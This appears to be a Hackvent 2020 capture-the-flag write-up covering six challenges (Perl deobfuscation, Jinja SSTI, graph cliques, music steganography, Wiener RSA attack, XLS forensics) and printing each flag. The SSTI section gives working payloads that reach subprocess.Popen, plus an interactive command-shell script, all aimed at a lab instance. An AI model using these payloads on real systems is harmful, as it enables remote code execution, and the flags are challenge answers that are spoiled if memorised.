The flag is HV20{r3?3rs3_3ng1n33r1ng_m4d3_34sy}.

HV20.08 The game

Categories: Fun
Reverse Engineering
Author:M. (who else)
Let's play another little game this year. Once again, as every year, I promise it is hardly obfuscated.




The provided file is an obfuscated perl script ...

kali@kali:~/hv20/08$ head game.txt eval eval '"'. ('['^'.').('['^'(').('`'|'%').('{'^'[').('{'^'/').('`'|'%').('['^')').('`'|'-').':'.':'.('{'^')').('`'|'%').('`'|'!').('`'|'$').('`'^'+').('`'|'%').('['^'"').';'.('{'^')').('`'|'%').('`'|'!').('`'|'$').('`'^'-').('`'|'/').('`'|'$').('`'|'%').('{'^"\[").( '^'^('`'|'+')).';'.'\\'.'$'.'|'.'='.('^'^('`'|'/')).';'.('['^'+').('['^')').('`'|')').('`'|'.').('['^'/').'\\'.'"'.'\\'.'\\'.('`'|'%').('`'|'#').'\\'.'\\'.('`'|'%').'['.('^'^('`'|',')).('`'^'*').'\\'.'\\'.('`'|'%').'['.'?'.('^'^('`'|',')).('^'^('`'|'+')) .('`'|',').'\\'.'\\'.('`'|'%').'['.'?'.('^'^('`'|')')).('`'|',').'\\'.'\\'.('`'|'%').'['.('^'^('`'|'/')).';'.('^'^('`'|'/')).('`'^'(').'\\'.'\\'.('`'|'%').'['.('^'^('`'|'.')).';'.('^'^('`'|'.')).('['^')').'\\'.'"'.';'.'\\'.'@'.('`'^'&').('`'^'&').('=').( '['^'(').('['^'+').('`'|',').('`'|')').('['^'/').'/'.'/'.','."'".'#'.'#'.'#'.'#'.('`'^'(').'#'.('{'^'-').'#'.('^'^('`'|',')).'#'.('^'^('`'|'.')).'#'.'\\'.'{'.'#'.('`'|'(').'#'.('['^'/').'#'.('['^'/').'#'.('['^'+').'#'.('['^'(').'#'.':'.'#'.'/'.'#'.('/'). '#'.('['^',').'#'.('['^',').'#'.('['^',').'#'.'.'.'#'.('['^'"').'#'.('`'|'/').'#'.('['^'.').'#'.('['^'/').'#'.('['^'.').'#'.('`'|'"').'#'.('`'|'%').'#'.'.'.'#'.('`'|'#').'#'.('`'|'/').'#'.('`'|'-').'#'.'/'.'#'.('['^',').'#'.('`'|'!').'#'.('['^'/')."\#".( '`'|"\#"). '#'.("\`"| '(')."\#". '?'."\#".( '['^"\-"). '#'.('='). '#'.("\`"| '$').'#'.(

..., which is a tetris game:

Some of the blocks seem to contain the single letters of the flag. Thus it seems that we have to survive long enough in order to see the full flag. But we will prefer to have a closer look at the source code.

There are two eval instructions at the beginning. Thus the inner eval should produce valid perl code, which is evaluated by the outer eval. In order to display this code, we can simply replace the outer eval with print:

kali@kali:~/hv20/08$ head -n1 game_mod.txt print eval '"'.

If we now run the adjusted script, we get the less obfuscated code:

kali@kali:~/hv20/08$ perl game_mod.txt use Term::ReadKey;ReadMode 5;$|=1;print"\ec\e[2J\e[?25l\e[?7l\e[1;1H\e[0;0r";@FF=split//,'####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####';@BB=(89,51,30,27,75,294);$w=11;$h=23;print("\e[1;1H\e[103m".(' 'x(2*$w+2))."\e[0m\r\n".(("\e[103m \e[0m".(' 'x(2*$w))."\e[103m \e[0m\r\n")x$h)."\e[103m".(' 'x(2*$w+2))."\e[2;1H\e[0m");sub bl{($b,$bc,$bcc,$x,$y)=@_;for$yy(0..2){for$xx(0..5){print("\e[${bcc}m\e[".($yy+$y+2).";".($xx+$x*2+2)."H${bc}")if((($b&(0b111<<($yy*3)))>>($yy*3))&(4>>($xx>>1)));}}}sub r{$_=shift;($_&4)<<6|($_&32)<<2|($_&256)>>2|($_&2)<<4|($_&16)|($_&128)>>4|($_&1)<<2|($_&8)>>2|($_&64)>>6;}sub _s{($b,$bc,$x,$y)=@_;for$yy(0..2){for$xx(0..5){substr($f[$yy+$y],($xx+$x),1)=$bc if(((($b & (0b111<<($yy*3)))>>($yy*3))&(4>>$xx)));}}$Q='QcXgWw9d4';@f=grep{/ /}@f;unshift @f,(" "x$w)while(@f<$h);p();}sub cb{$_Q='ljhc0hsA5';($b,$x,$y)=@_;for$yy(0..2){for$xx(0..2){return 1 if(((($b&(0b111<<($yy*3)))>>($yy*3))&(4>>$xx))&&(($yy+$y>=$h)||($xx+$x<0)||($xx+$x>=$w)||(substr($f[$yy+$y],($xx+$x),1) ne ' ')));}}}sub p{for$yy(0..$#f){print("\e[".($yy+2).";2H\e[0m");$_=$f[$yy];s/./$&$&/gg;print;}};sub k{$k='';$k.=$c while($c=ReadKey(-1));$k;};sub n{$bx=5;$by=0;$bi=int(rand(scalar @BB));$__=$BB[$bi];$_b=$FF[$sc];$sc>77&&$sc<98&&$sc!=82&&eval('$_b'."=~y#$Q#$_Q#")||$sc==98&&$_b=~s/./0/;$sc++;}@f=(" "x$w)x$h;p();n();while(1){$k=k();last if($k=~/q/);$k=substr($k,2,1);$dx=($k eq 'C')-($k eq 'D');$bx+=$dx unless(cb($__,$bx+$dx,$by));if($k eq 'A'){unless(cb(r($__),$bx,$by)){$__=r($__)}elsif(!cb(r($__),$bx+1,$by)){$__=r($__);$bx++}elsif(!cb(r($__),$bx-1,$by)){$__=r($__);$bx--};}bl($__,$_b,101+$bi,$bx,$by);select(undef,undef,undef,0.1);if(cb($__,$bx,++$by)){last if($by<2);_s($__,$_b,$bx,$by-1);n();}else{bl($__," ",0,$bx,$by-1);}}sleep(1);ReadMode 0;print"\ec";

Right at the beginning we can actually see a string, which seems to be the flag outputed via the blocks:

... @FF=split//,'####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####'; ...

By removing the # characters, we get a flag:

kali@kali:~/hv20/08$ echo '####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####'|tr -d '#' HV20{https://www.youtube.com/watch?v=dQw4w9WgXcQ}

Seems a little bit too easy, doesn't it? Let's have a look at the youtube link:

Looks like we are not done yet.

After identing the code and getting a quick overview the following procedure looks interesting:

... sub n{ $bx=5; $by=0; $bi=int(rand(scalar @BB)); $__=$BB[$bi]; $_b=$FF[$sc]; $sc>77&&$sc<98&&$sc!=82&&eval('$_b'."=~y#$Q#$_Q#")||$sc==98&&$_b=~s/./0/; $sc++; } ...

The relevant variable here is $_b, which is set to $FF[$sc]. As we have already seen $FF contains the troll flag. $sc contains the number of blocks so far. At the next line we can see that if $sc is greater than 77, smaller than 98 and not equal to 82, $_b is replaced with another value: eval('$_b'."=~y#$Q#$_Q#"). This simply means that the characters of $_b, which are present in $Q are replaced with the character at the corresponding index of $_Q. Here is a quick example:

$Q = '01'; $_Q = 'ab'; $_b = '012300112233'; eval('$_b'."=~y#$Q#$_Q#"); print $_b."\n";

In this case all occurences of 0 are replaced with a and all occurences of 1 with b. This results in the following output:

kali@kali:~/hv20/08$ perl example.pl ab23aabb2233

By extracting the relevant parts of the script and adding a loop, which runs from 0 to 100, we can produce the flag:

kali@kali:~/hv20/08$ cat flag.pl @FF=split//,'####H#V#2#0#{#h#t#t#p#s#:#/#/#w#w#w#.#y#o#u#t#u#b#e#.#c#o#m#/#w#a#t#c#h#?#v#=#d#Q#w#4#w#9#W#g#X#c#Q#}####'; $Q ='QcXgWw9d4'; $_Q='ljhc0hsA5'; for ((0..100)) { $sc = $_; $_b=$FF[$sc]; $sc=$_; $sc>77 && $sc<98 && $sc!=82&&eval('$_b'."=~y#$Q#$_Q#")||$sc==98&&$_b=~s/./0/; print $_b; } print "\n"

Running the script outputs the actual flag (again we remove the #):

kali@kali:~/hv20/08$ perl /tmp/test|tr -d '#' HV20{https://www.youtube.com/watch?v=Alw5hs0chj0}

This time the youtube link looks more accurate:

The flag is HV20{https://www.youtube.com/watch?v=Alw5hs0chj0}.

HV20.09 Santa's Gingerbread Factory

Categories: Penetration Testing
Web Security
Here you can customize your absolutely fat-free gingerbread man.

Note: Start your personal instance from the RESOURCES section on top.

Goal / Mission

Besides the gingerbread men, there are other goodies there. Let's see if you can get the goodie, which is stored in /flag.txt.

The provided website shows a gingerbread man, which can be customized. Also a name (default: Hacker) can be entered:

When the form is submitted in order to customize the gingerbread man, a POST request is issued. The name is stored in the POST-parameter name. After trying a few payloads, we can see that the websites seems vulnerable to Server-Side Template Injection (SSTI) using the payload {{7*7}}:

kali@kali:~/hv20/09$ curl 'https://abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land/' -d 'name={{7*7}}' ... ------------------ ( Hello, mighty 49 ) ------------------ ...

Further we can assume that the Jinja template engine is used, since a characteristic of Jinja is that the payload {{7*"7"}} evaluates to 7777777:

kali@kali:~/hv20/09$ curl 'https://abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land/' -d 'name={{7*"7"}}' ... ----------------------- ( Hello, mighty 7777777 ) ----------------------- ...

In order to gain RCE, we need to climb up the object hierarchy. We start with the payload {{"".__class__.__mro__}}, which references an empty string (""), its class (__class__) and all classes within its inheritance hierarchy (__mro__):

kali@kali:~/hv20/09$ curl 'https://abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land/' -d 'name={{"".__class__.__mro__}}' ... ------------------------------ ( Hello, mighty (<type 'str'>, ) ( <type 'basestring'>, <type ) ( 'object'>) ) ------------------------------ ...

What we are really looking here for is the class object, which can be referenced using the index 2 according to the output above.

Using the object class, we can list all subclasses:

kali@kali:~/hv20/09$ curl 'https://abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land/' -d 'name={{"".__class__.__mro__[2].__subclasses__()}}' ... -------------------------------- ( Hello, mighty [<type 'type'>, ) ( <type 'weakref'>, <type ) ( 'weakcallableproxy'>, <type ) ( 'weakproxy'>, <type 'int'>, ) ( <type 'basestring'>, <type ) ( 'bytearray'>, <type 'list'>, ) ( <type 'NoneType'>, <type ) ... ( <class 'subprocess.Popen'>, ) ...

Now we have got a list of all classes, which are inherited from object. The class we are looking for is subprocess.Popen, since it allows use to execute OS commands. In order to reference it, we need to determine its index. In order to do this, we can separate the subclass list by , (comma) and check at which position subprocess.Popen is located:

kali@kali:~/hv20/09$ cat subclasses.txt|tr -d $'\n'|tr ',' '\n'|nl|grep subprocess 259 )( <class 'subprocess.Popen'>

Since nl starts with 1, the actual index of subprocess.Popen is 258.

We can now run arbitrary OS commands. In order to see the output of those commands within the HTTP response, we need to use the method communicate and pass -1 for stdin and stdout within the call to subprocess.Popen. The -1 equals subprocess.PIPE (we cannot use the name of the constant because it is not defined within the jinja scope).

Finally let's run cat /flag.txt:

kali@kali:~/hv20/09$ curl 'https://abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land/' -d 'name={{"".__class__.__mro__[2].__subclasses__()[258](["cat","/flag.txt"],stdin=-1,stdout=-1).communicate()[0]}}' ... -------------------------------- ( Hello, mighty HV20{SST1_N0t_0N ) ( LY_H1Ts_UB3R!!!} ) -------------------------------- ...

In order to get a more clean shell, we can leverage dup2 to bind stdin and stdout to the HTTP socket connection and then run an arbitrary OS command. This is a bit hacky because the HTTP connection is established between the reverse proxy and the docker container running the app. Thus we must send a valid HTTP response, because the reverse proxy won't forward the response back to us otherwise. The actual HTTP response from the application, which follows our crafted HTTP response, will be dropped by the reverse proxy:

kali@kali:~/hv20/09$ cat clean_shell.py #!/usr/bin/env python3 import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) url = 'https://abcb5180-7ef4-4643-8c25-cb60e07da685.idocker.vuln.land' h = {'Content-Type':'application/x-www-form-urlencoded'} while True: cmd = input('$ ') d = 'name={{\'\'.__class__.__mro__[2].__subclasses__()[258]([\'python\',\'-c\',\'import os,subprocess;os.dup2(5,0);os.dup2(5,1);r=subprocess.Popen(["sh","-c","'+cmd+' 2>%261"],stdin=-1,stdout=-1).communicate()[0];print("HTTP/1.1 200 OK\\\\r\\\\nContent-Length: "%2bstr(len(r))%2b"\\\\r\\\\n\\\\r\\\\n"%2br)\']).communicate()[0]}}' r = requests.post(url, data=d, headers=h, verify=False) print(r.text,end='')

Using the script is a little bit more comfortable:

kali@kali:~/hv20/09$ ./clean_shell.py $ id uid=1000(runner) gid=1000(runner) groups=1000(runner)

$ ls -al total 8 drwxr-xr-x. 1 root root 6 Dec 9 12:15 . drwxr-xr-x. 1 root root 6 Dec 9 12:15 .. -rwxr-xr-x. 1 root root 0 Dec 9 12:15 .dockerenv drwxr-xr-x. 1 root root 179 Dec 8 14:11 bin drwxr-xr-x. 2 root root 6 Sep 19 21:39 boot drwxr-xr-x. 5 root root 340 Dec 9 12:15 dev drwxr-xr-x. 1 root root 66 Dec 9 12:15 etc -rw-rw-r--. 1 root root 32 Oct 27 16:03 flag.txt drwxr-xr-x. 1 root root 20 Dec 8 14:13 home drwxr-xr-x. 1 root root 67 Dec 8 14:12 lib drwxr-xr-x. 2 root root 34 Nov 17 00:00 lib64 drwxr-xr-x. 2 root root 6 Nov 17 00:00 media drwxr-xr-x. 2 root root 6 Nov 17 00:00 mnt drwxrwxr-x. 1 root root 17 Oct 27 16:03 opt dr-xr-xr-x. 471 root root 0 Dec 9 12:15 proc drwx------. 1 root root 20 Dec 8 14:12 root drwxr-xr-x. 3 root root 30 Nov 17 00:00 run drwxr-xr-x. 2 root root 4096 Nov 17 00:00 sbin drwxr-xr-x. 2 root root 6 Nov 17 00:00 srv dr-xr-xr-x. 13 root root 0 Nov 19 07:15 sys drwxrwxrwt. 1 root root 6 Dec 8 14:12 tmp drwxr-xr-x. 1 root root 19 Nov 17 00:00 usr drwxr-xr-x. 1 root root 17 Nov 17 00:00 var

$ cat /opt/app/app.py # flask_web/app.py from flask import Flask,render_template,redirect, url_for, request from textwrap import wrap from jinja2 import Environment, BaseLoader app = Flask(__name__) @app.route('/', methods=["POST", "GET"]) def main(eyes="*", name="Hacker"): eyes = request.form.get('eyes', "*") name = request.form.get('name', "Hacker") text = Environment(loader=BaseLoader()).from_string("Hello, mighty " + name).render() print("Text: " + text) t = wrap(text, width=30) l = 0; for line in t: if len(line) > l: l = len(line); bubble = ' ' + (l + 2) * '-' + '\n' for line in t: bubble = bubble + '( ' + line + (l - len(line)) * ' ' + ' )\n' bubble = bubble + ' ' + (l + 2) * '-' print(bubble) # text = Environment.from_string('Hello ' + text).render() if(eyes == 'vader'): return render_template('vader.html', eyes=eyes, name=name, bubble=bubble) else: return render_template('regular.html', eyes=eyes, name=name, bubble=bubble) if __name__ == "__main__": app.run(host='' , port=7778, debug=True)

$ cat /flag.txt HV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}$

The flag is HV20{SST1_N0t_0NLY_H1Ts_UB3R!!!}.

HV20.10 Be patient with the adjacent

Categories: Programming
Ever wondered how Santa delivers presents, and knows which groups of friends should be provided with the best gifts? It should be as great or as large as possible! Well, here is one way.

Hmm, I cannot seem to read the file either, maybe the internet knows?



Hope this cliques for you

The provided file has the extension .col.b:

kali@kali:~/hv20/10$ ls -al total 21776 drwxr-xr-x 3 kali kali 4096 Dec 10 01:04 . drwxr-xr-x 15 kali kali 4096 Dec 10 00:05 .. -rw-r--r-- 1 kali kali 22278688 Dec 10 00:06 7b24b79f-d898-4480-bc1b-e09742f704f7.col.b

A little bit of googling reveals that the file format is called DIMACS. In this case we are dealing with the binary representation. In order to convert it to the more easily parsable ASCII format, we can use the following program: binformat.shar. We only need the two files bin2asc.c and genbin.h and need to make some little adjustment to compile it.

Within the file genbin.h we need to set MAX_NR_VERTICES and MAX_NR_VERTICESdiv8 to a value big enough, otherwise the program will segfault:

kali@kali:~/hv20/10$ cat genbin.h ... #define MAX_NR_VERTICES 0x5000 #define MAX_NR_VERTICESdiv8 0xa00 ...

In the file bin2asc.c we may add some header files and make the main function return an integer in order to prevent warnings when compiling the program:

kali@kali:~/hv20/10$ cat bin2asc.c ... #include <stdlib.h> #include <string.h> ... int main(argc, argv) ... return 0; } ...

Now we can compile the program using gcc:

kali@kali:~/hv20/10$ gcc bin2asc.c -o bin2asc kali@kali:~/hv20/10$ ./bin2asc Usage: ./bin2asc infile [outfile]

The program can now be used to convert the binary format into ASCII:

kali@kali:~/hv20/10$ ./bin2asc 7b24b79f-d898-4480-bc1b-e09742f704f7.col.b out.col

The resulting file contains a comment with a reminder for santa as well as a huge list of edges:

kali@kali:~/hv20/10$ head out.col c -------------------------------- c Reminder for Santa: c 104 118 55 51 123 110 111 116 95 84 72 69 126 70 76 65 71 33 61 40 124 115 48 60 62 83 79 42 82 121 125 45 98 114 101 97 100 are the nicest kids. c - bread. c -------------------------------- p edges 18876 439050 e 30 18 e 42 24 e 42 29 e 48 7

According to the hint we probably need to find cliques in the graph defined by all those edges. A clique is simply a group of vertices, which are all connected to each other.

The challenge description mentions groups of friends, which should be as great or as large as possible. Also the reminder for santa contains a list of the nicest kids.

Accordingly the idea seems to be the following: find the clique in which the first nicest kid (104) is and take the size/length of this clique as the first ASCII character of the flag. Proceed with next nicest kid. The fact that each number of the nicest kids is unique supports this idea.

When implementing the following python script, I noticed that it is sufficient to determine the maximum size/length of a clique by intersecting the neighbors of a nicest kid and their neighbors vice versa. The script carries out the following steps:

  • read all edges from the file
  • for each nicest kid, determine all neighbors
  • for each of those neighbors, determine all neighbors vice versa
  • intersect both groups of neighbors
  • determine the maximum size of intersecting neighbors
  • interpret this number (+2, since the nicest kid and the regarding neighbor are not included) as an ASCII character of the flag

kali@kali:~/hv20/10$ cat cliqu0r.py #!/usr/bin/env python3 import numpy import sys edges = [] def get_neighbors(n): global edges neighbors = [] for e in edges: if (n == e[0]): if (e[1] not in neighbors): neighbors.append(e[1]) elif (n == e[1]): if (e[0] not in neighbors): neighbors.append(e[0]) return neighbors d = open('out.col').read() for l in d.split('\n'): if (l.startswith('e ')): x = l.split(' ') edges.append((int(x[1]), int(x[2]))) kids = [104, 118, 55, 51, 123, 110, 111, 116, 95, 84, 72, 69, 126, 70, 76, 65, 71, 33, 61, 40, 124, 115, 48, 60, 62, 83, 79, 42, 82, 121, 125, 45, 98, 114, 101, 97, 100] for k in kids: ns = get_neighbors(k) cur = 0 for n in ns: inter = numpy.intersect1d(ns, get_neighbors(n), assume_unique=True) if (len(inter) > cur): cur = len(inter) print(chr(cur+2), end='') sys.stdout.flush()

Running the script yields the flag:

kali@kali:~/hv20/10$ ./cliqu0r.py HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}

The flag is HV20{Max1mal_Cl1qu3_Enum3r@t10n_Fun!}.

HV20.11 Chris'mas carol

Categories: Forensic
Since yesterday's challenge seems to have been a bit on the hard side, we're adding a small musical innuendo to relax.

My friend Chris from Florida sent me this score. Enjoy! Is this what you call postmodern?

P.S: Also, we're giving another 24h to get full points for the last challenge.


He also sent this image, but that doesn't look like Miami's skyline to me.

At first we need to read the notes on the provided sheet. The important point is that we don't only need the letters (C, D, E, ...), but also the numbers (B2, C4, E3, ...).

As I cannot read notes and my only skill regarding music is listening to it, I took the following picture as a reference (taken from here):

Accordingly the upper notes are the following sequence: E3 B4 F4 E3 D3 E2 D3 A5 B5 D5 A2 E5 A5 E3 A3.

The lower notes are this sequence: B3 E3 D5 D3 A3 D1 A1 C4 E3 E4 D1 D4 D1 D3 D1.

By XORing both sequences we get a password:

kali@kali:~/hv20/11$ python3 ... >>> s1 = 0xE3B4F4E3D3E2D3A5B5D5A2E5A5E3A3 >>> s2 = 0xB3E3D5D3A3D1A1C4E3E4D1D4D1D3D1 >>> hex(s1^s2) '0x505721307033726156317331743072' >>> bytes.fromhex('505721307033726156317331743072') b'PW!0p3raV1s1t0r'

The password is PW!0p3raV1s1t0r.

For the next part the image provided in the hint is relevant:

By doing a reverse google image search for the image, we get to know that the skyline shown is Hong Kong. Also google provides a link to an online steganography website:

On the website we can upload the note sheet image and click on decrypt:

There is no obvious feedback of success, though at the bottom of the page a file can be dowloaded, which was exctracted from the image:

The file is called flag.zip and is an encrypted zip archive:

kali@kali:~/hv20/11$ file flag.zip flag.zip: Zip archive data, at least v5.1 to extract kali@kali:~/hv20/11$ zipinfo flag.zip Archive: flag.zip Zip file size: 221 bytes, number of entries: 1 -rw-a-- 6.3 fat 21 Bx u099 20-Dec-10 17:09 flag.txt 1 file, 21 bytes uncompressed, 37 bytes compressed: -76.2%

Using the previously revealed password we can extract the flag.txt file:

kali@kali:~/hv20/11$ 7z x flag.zip 7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21 p7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (906EA),ASM,AES-NI) Scanning the drive for archives: 1 file, 221 bytes (1 KiB) Extracting archive: flag.zip -- Path = flag.zip Type = zip Physical Size = 221 Enter password (will not be echoed): (PW!0p3raV1s1t0r) Everything is Ok Size: 21 Compressed: 221

The file contains the flag:

kali@kali:~/hv20/11$ cat flag.txt HV20{r3ad-th3-mus1c!}

The flag is HV20{r3ad-th3-mus1c!}.

HV20.12 Wiener waltz

Categories: Crypto
During their yearly season opening party our super-smart elves developed an improved usage of the well known RSA crypto algorithm. Under the "Green IT" initiative they decided to save computing horsepower (or rather reindeer power?) on their side. To achieve this they chose a pretty large private exponent, around 1/4 of the length of the modulus - impossible to guess. The reduction of 75% should save a lot of computing effort while still being safe. Shouldn't it?

Your SIGINT team captured some communication containing key exchange and encrypted data. Can you recover the original message?



Don't waste time with the attempt to brute-force the private key

The provided pcap file contains a TCP stream with the key exchange and encrypted data:

At first the server announces its RSA public key, which consists of the modulus n as well as exponent e:

"n": "dbn25TSjDhUge4L68AYooIqwo0HC2m...", "e": "S/0OzzzDRdsps+I85tNi4d1i3d0Eu8..."

The important part here is the format, that is also transmitted:

"format": ["mpz_export",-1,4,1,0]

By googling for mpz_export we can find this page, which contains an example with the very exact format. The order is -1, which means that the least significant word comes first. The size of a word is 4 and the endianess is 1 (MSB first). The value for nails is 0 (no bits to skip).

Using the following python script, we can convert the base64-encoded values from the TCP stream to integers:

kali@kali:~/hv20/12$ cat convert0r.py #!/usr/bin/env python3 from base64 import b64decode def get_int(b64): v = b64decode(b64) r = b'' for i in range(0, len(v), 4): r += v[i:i+4][::-1] return int.from_bytes(r, 'little') n_b64 = 'dbn25TSjDhUge4L68AYooIqwo0HC2mIYxK/ICnc+8/0fZi1CHo/QwiPCcHM94jYdfj3PIQFTri9j/za3oO+3gVK39bj2O9O...' n = get_int(n_b64) print(n) e_b64 = 'S/0OzzzDRdsps+I85tNi4d1i3d0Eu8pimcP5SBaqTeBzcADturDYHk1QuoqdTtwX9XY1Wii6AnySpEQ9eUEETYQkTRpq9rB...' e = get_int(e_b64) print(e)

The script diplays n first and then e (I added a few newlines here):

kali@kali:~/hv20/12$ ./convert0r.py 21136187113648735910956792902340987261238482724808044660872655926597365083148384784275999147719115005171023510870084682239018605609 84459489488040560951081463440453686864915540312905790353225701906084268699463415520597846738330951988192182335427359093686104543184 15232830598917290694505318231938297581984521951598390018024098083103035392708285817921368175899727439219045359217492803301539012915 31642543946250472645757855636930605097838505480384294629089321241798555566459046743741824235125746402090921912493396059817338067723 079903962753795145687173236901003277653830701564333638891277876961702941978996729372105897701 12703148700486856571456640284543930158485441147798980218669328932721873837903118006895885638306703700146300157588744922573525972231 89088317179438114015914643236611669142235358561993880306056316616051307114203188878058142887121035337607778211463601254714542115424 63970692986586683720486379740967285563781920418238656002457288663608203034635082886770345054626149414257723654400250163546228785865 68634346248386264921756141627262617888108166058845769396410463089005177762158324354462305559557728141729110983431022424786938837309 186823930758907423061347118761390982013522713098779662020937499191572512966979990705904881359

Before we start, let's also read and convert the encrypted data, which is stored in four blocks. Please notice that the blocks are not send in order. Using the following python script we can convert the single blocks to the single encrypted integer value c:

kali@kali:~/hv20/12$ cat convert0r_data.py #!/usr/bin/env python3 from base64 import b64decode c = b64decode('fJdSIoC9qz27pWVpkXTIdJPuR9Fidfkq1IJPRQdnTM2XmhrcZToycoEoqJy91BxikRXQtioFKbS7Eun7oVS0yw==') c += b64decode('vzwheJ3akhr1LJTFzmFxdhBgViykRpUldFyU6qTu5cjxd1fOM3xkn49GYEM+2cUVk22Tu5IsYDbzJ4/zSDfzKA==') c += b64decode('fRYUyYEINA5i/hCsEtKkaCn2HsCp98+ksi/8lw1HNTP+KFyjwh2gZH+nkzLwI+fdJFbCN5iwFFXo+OzgcEMFqw==') c += b64decode('+y2fMsE0u2F6bp2VP27EaLN68uj2CXm9J1WVFyLgqeQryh5jMyryLwuJNo/pz4tXzRqV4a8gM0JGdjvF84mf+w==') c = int.from_bytes(c, 'big') print(c)

The script displays the value of c as an integer (newlines added):

kali@kali:~/hv20/12$ ./convert0r_data.py 15728168902580001908597516462333326018530211196966332004405204181339039750500231671925994577113088042149317557183451400765813081420 69680831192705779124646456119479714439726589895116868877763722852659819554711209161485362745014769388403098877755544748854827299713 35714209124161667010559580631893836466985271291429181755043468310259939660325744697394251111301222536298291437239001254493421271812 40374096535321144237731152040526918071868603539495524381155246254890454199469350492226229443133055753874748977614593062562820322902 874503410694904482016403214529911487245403091812683802132470939500989349886833516053615190011

In order to decrypt the message, we need to find the private exponent d.

As the description states, d is only 1/4 the size of the modulus (n), which is actually pretty small. Such a small private exponent makes the data exchange prone to the Wiener's attack.

I used this python implementation in order to carry out the attack. We simply need to clone the repository ...

kali@kali:~/hv20/12$ git clone https://github.com/pablocelayes/rsa-wiener-attack Cloning into 'rsa-wiener-attack'... remote: Enumerating objects: 21, done. remote: Total 21 (delta 0), reused 0 (delta 0), pack-reused 21 Unpacking objects: 100% (21/21), 123.54 KiB | 1.56 MiB/s, done.

... and adjust the file RSAwienerHacker.py with our concrete values for n and e:

kali@kali:~/hv20/12/rsa-wiener-attack$ cat RSAwienerHacker.py ... def test_hack_RSA(): print("Testing Wiener Attack") times = 5 n = 2113618711364873591095679290234098726123848272... e = 1270314870048685657145664028454393015848544114... hacked_d = hack_RSA(e, n) print(hacked_d) ...

If we now run the script, the private exponent d is displayed:

kali@kali:~/hv20/12/rsa-wiener-attack$ python RSAwienerHacker.py Testing Wiener Attack Hacked! 6466004211023169931626852412529775638154232788523485346270752857587637907099874953950214032608531274791907536993470882928101441905551719029085370950197807

Now we only need to calculate m = c**d % n:

kali@kali:~/hv20/12$ cat final.py #!/usr/bin/env python3 import gmpy2 n = 211361871136487359109567929023409872612384827248080446... c = 157281689025800019085975164623333260185302111969663320... d = 646600421102316993162685241252977563815423278852348534... m = gmpy2.powmod(c, d, n) print(hex(m))

Running the script displays the decrypted message m (newlines added):

kali@kali:~/hv20/12$ ./final.py 0x10000000000000000000000000000000d596f75206d61646520697421204865726520697320796f757220666c61673a20485632307b35686f72375f5072697633 78705f61316e375f6e305f356d6172377d0d0d476f6f64206c75636b20666f72204861636b76656e742c206d6572727920582d6d617320616e6420616c6c2074686 5206265737420666f7220323032312c2067726565747a20536d617274536d7572660000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

By omitting the leading 1 and converting the hex string to ASCII, we get the flag:

kali@kali:~/hv20/12$ python3 ... >>> bytes.fromhex('0000000000000000000000000000000d596f75206d6164652069...') b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\rYou made it! Here is your flag: HV20{5hor7_Priv3xp_a1n7_n0_5mar7}\r\rGood luck for Hackvent, merry X-mas and all the best for 2021, greetz SmartSmurf\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

The flag is HV20{5hor7_Priv3xp_a1n7_n0_5mar7}.

HV20.13 Twelve steps of christmas

Categories: Forensic
On the ninth day of Christmas my true love sent to me...

nineties style xls,
eighties style compression,
seventies style crypto,
and the rest has been said previously.



Wait, Bread is on the Nice list? Better check that comment again...

The provided file is an Excel document:

kali@kali:~/hv20/13$ file 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls 5862be5b-7fa7-4ef4-b792-fa63b1e385b7.xls: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Title: Test Data, Author: Unknown Creator, Last Saved By: bread, Name of Creating Application: Microsoft Excel, Create Time/Date: Sun Nov 29 23:54:57 2020, Last Saved Time/Date: Sat Dec 12 12:43:38 2020, Security: 0

The Comment field for Bread B. Sticks contains a hex sequence (1f 9d 8c 42 ...):

We get back to this sequence later.

When running strings on the file, we can notice another big hex sequence:

